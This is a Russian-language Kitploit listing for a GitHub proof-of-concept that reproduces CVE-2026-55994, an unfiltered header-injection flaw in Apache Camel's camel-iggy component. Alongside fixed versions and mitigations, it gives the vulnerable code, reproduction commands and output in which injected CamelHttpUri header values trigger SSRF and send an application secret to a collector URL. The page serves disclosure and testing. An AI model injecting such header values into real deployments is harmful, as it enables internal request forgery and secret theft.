Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-55994 — PoC-репродуктор для CVE-2026-55994 (Apache Camel camel-iggy): потребитель копирует пользовательские заголовки сообщения Iggy в Exchange без фильтрации, поэтому внедрённый CamelHttpUri инициирует серверный запрос (SSRF) и раскрывает значения разрешённых плейсхолдеров свойств. Исправлено в 4.18.3/4.21.0. | Kitploit
Инструменты/GitHubGitHub/oscerd/cve-2026-55994
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийСтатьи и ИсследованияОбучение и Образование
GitHuboscerd/cve-2026-55994

CVE-2026-55994

Репозиторий
21 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

PoC-репродуктор для CVE-2026-55994 (Apache Camel camel-iggy): потребитель копирует пользовательские заголовки сообщения Iggy в Exchange без фильтрации, поэтому внедрённый CamelHttpUri инициирует серверный запрос (SSRF) и раскрывает значения разрешённых плейсхолдеров свойств. Исправлено в 4.18.3/4.21.0.

Поделиться

camel-iggy Воспроизведение инъекции пользовательских заголовков (CVE-2026-55994)

Этот проект демонстрирует инъекцию заголовков сообщения в компоненте camel-iggy Apache Camel, отслеживаемую как CVE-2026-55994. Потребитель Iggy копирует пользовательские заголовки входящего сообщения в Camel Exchange без какого-либо HeaderFilterStrategy, поэтому любой, кто может публиковать в потребляемый топик Iggy, может внедрить управляющие заголовки Camel — в частности CamelHttpUri:

root@kitploit:~
// IggyFetchRecords.createExchange (affected 4.18.2) — Iggy message user-headers -> Exchange headers, unfiltered
message.userHeaders().ifPresent(userHeaders -> {
    Map<String, Object> stringUserHeaders = userHeaders.entrySet().stream().collect(Collectors.toMap(
            e -> e.getKey(),
            e -> e.getValue().value()));
    exchange.getIn().setHeaders(stringUserHeaders);
});

Когда маршрут соединяет этого потребителя с HTTP-производителем, внедрённый CamelHttpUri — подделка серверных запросов (SSRF). Производитель camel-http также вызывает для этого управляемого атакующим URI, поэтому внедрённая ссылка раскрывается до своего реального значения и отправляется наружу — раскрывая переменные окружения, свойства приложения или секреты хранилища.

переопределяет целевой URI производителя
resolvePropertyPlaceholders()
{{...}}

Эта PoC демонстрирует влияние как SSRF плюс раскрытие секретов (CWE-20 → CWE-918 + CWE-200). Это один из трёх родственных компонентов, исправленных вместе в рамках CAMEL-23532 (вместе с camel-vertx-websocket, CVE-2026-46726, и camel-atmosphere-websocket, CVE-2026-55993).

Рекомендация: https://camel.apache.org/security/CVE-2026-55994.html

Сводка уязвимости

СвойствоЗначение
Компонентcamel-iggy
Затронутый классorg.apache.camel.component.iggy.IggyFetchRecords#createExchange (сопоставляет пользовательские заголовки сообщения с заголовками Exchange без фильтра)
CWECWE-20 (некорректная проверка входных данных) → CWE-918 (SSRF) + CWE-200 (раскрытие информации)
ВлияниеSSRF и раскрытие секретов через разрешение property-placeholder на внедрённом URI
ПредусловияМаршрут соединяет потребителя iggy: с HTTP-производителем; атакующий может публиковать в потребляемый топик
Затронутые версииС 4.17.0 до 4.18.3, с 4.19.0 до 4.21.0 (camel-iggy появился в 4.17.0)
Исправленные версии4.18.3, 4.21.0
JIRACAMEL-23532 (PR apache/camel#23285)
АвторKamalpreet Singh

Исправление применяет HeaderFilterStrategy к входящему сопоставлению, отфильтровывая заголовки Camel* / camel*, чтобы их больше нельзя было внедрить через пользовательские заголовки сообщения Iggy.

Как этот репродуктор использует реальный уязвимый код

Уязвимый IggyFetchRecords.createExchange(...) выполняется без изменений, на подделанном сообщении Iggy, чьи пользовательские заголовки контролируются атакующим. Полученный Exchange проходит через реальный маршрут к реальному производителю camel-http, поэтому SSRF и раскрытие property-placeholder {{...}} являются подлинными.

Почему не используется живой брокер Iggy. Метод doStart потребителя iggy: открывает соединение с запущенным сервером Iggy, поэтому маршрут не может запуститься без него — а сервер Apache Iggy требует io_uring, который блокируется профилем seccomp Docker по умолчанию (он работает только с --privileged), что делает его непригодным для переносимой, доступной для совместного использования PoC. Уязвимому createExchange брокер не нужен, поэтому драйвер создаёт реальный IggyFetchRecords и вызывает его напрямую с подделанным сообщением. Родственная PoC для camel-vertx-websocket (CVE-2026-46726) демонстрирует идентичный дефект через живой транспорт.

Маршрут жертвы

В реальном развёртывании: from("iggy:orders?streamName=demo&...").to("http://.../legit-backend"). Здесь нижняя половина — from("direct:iggy-delivery").to("http://localhost:8080/legit-backend"), получающая отравленный Exchange, созданный реальным createExchange.

Структура репозитория

root@kitploit:~
CVE-2026-55994/
├── pom.xml                 # camel-iggy + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # downstream link -> http://localhost:8080/legit-backend
    │   ├── SinkController.java     # SSRF collector: /legit-backend, /internal/secret, /collect
    │   └── ExploitController.java  # forges an Iggy message + runs the real createExchange (injects CamelHttpUri)
    └── resources/
        └── application.properties  # app.secret=... (leaked via placeholder resolution)

Предварительные требования

  • Docker и Docker Compose
  • Java 17+ и Maven 3.8+

Шаги воспроизведения

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Ожидаемый вывод

root@kitploit:~
1) Ordinary message (user-header x-order-id=A-1001)
     reached /legit-backend: true
     reached /internal/secret: false

2) Injected user-header 'CamelHttpUri=http://localhost:8080/internal/secret'  (SSRF)
     server-side request reached /internal/secret: true

3) Injected user-header 'CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}}'  (secret disclosure)
     attacker's collector received leak = SUPER-SECRET-abc123
     equals the app's real secret: true

>>> SSRF=true, secret-disclosure=true

Рекомендуемое исправление

Обновитесь до 4.18.3 / 4.21.0 (CAMEL-23532). После обновления потребитель отфильтровывает заголовки Camel* из пользовательских заголовков сообщения Iggy, поэтому CamelHttpUri и другие управляющие заголовки больше нельзя внедрить.

Меры по смягчению

До обновления не соединяйте потребитель iggy: напрямую с HTTP-производителем, не удалив сначала управляющие заголовки Camel (например, removeHeaders("CamelHttp*")), и задавайте целевой URI производителя из доверенного источника (или используйте bridgeEndpoint=true).

Отказ от ответственности

Этот репродуктор предоставлен только для исследований в области безопасности и авторизованного тестирования, для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.

Скачать инструмент